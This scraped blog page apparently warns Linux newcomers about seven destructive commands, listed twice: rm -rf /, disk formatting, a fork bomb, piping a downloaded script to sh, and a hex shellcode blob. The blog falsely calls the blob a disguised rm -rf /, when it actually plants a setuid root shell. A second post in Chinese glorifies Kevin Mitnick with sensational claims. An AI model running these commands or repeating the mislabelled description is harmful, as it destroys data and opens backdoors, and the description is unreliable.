The significant problems we have cannot be solved at the same level of thinking with which we created them.
Life's more painless for the brainless.
I read it wrong and answer it wrong too. So get off my case you peanut.
Imagine the power if you knew how to internet search
Friday, January 16, 2009
Thursday, January 15, 2009
Monday, December 29, 2008
7 deadly linux cmds
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
3. Code:
mkfs.ext3 /dev/sda
4. Code:
:(){:|:&};:
5. Code:
any_command > /dev/sda
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
3. Code:
mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
4. Code:
:(){:|:&};:
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
5. Code:
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
Saturday, December 20, 2008
Saturday, December 13, 2008
被FBI通缉的黑客--Kevin Mitnick
传奇事迹：
·侵入美国国防部、中央情报局、五角大楼及北美空中防务体系等防守严密的网络系统。从而对美国一些国家机密了如指掌。
·闯入美国国家税务总局网络，窃取了许多美国名人纳税的绝密资料。
·从纽约花旗银行非法转移数字庞大的美元到指定账户。
看到这些案例，想必你和小马一样已经感到毛骨悚然了吧。Kevin Mitnick，一位在世界范围内举重若轻的黑客。他曾被媒体作为新闻标题、被电视节目作为评说对象，无数的黑客书籍以敬畏的口吻崇拜着他。有人曾用这样的语句形容他：“他旁若无人地站在白宫走廊的一角，目光深邃。一台笔记本电脑与他寸步不离，他不时在键盘上敲下某些神秘的指令……”。
Kevin Mitnick会使用一切可能的方法，弄到希望攻破的系统的源代码和技术手册。他还会花大量的时间来研究这些枯燥的字符中的弱点与内部工作原理。
他告诉我们，研究源代码+对源代码的了如指掌+耐心=成为黑客高手的基本要件。
15岁时，Kevin Mitnick用打工赚的钱买了一台计算机，当他“闲逛”到北美空中防务指挥系统后，神秘的政府机关使他的好奇心达到了极致。他彻底研究系统的源代码中可能存在的漏洞。两个月过去后，他终于找到了这个系统的后门，那是程序设计者为方便自己的出入而留下的。第一次做黑客，就以远远超出其年龄的耐心和毅力成功了。
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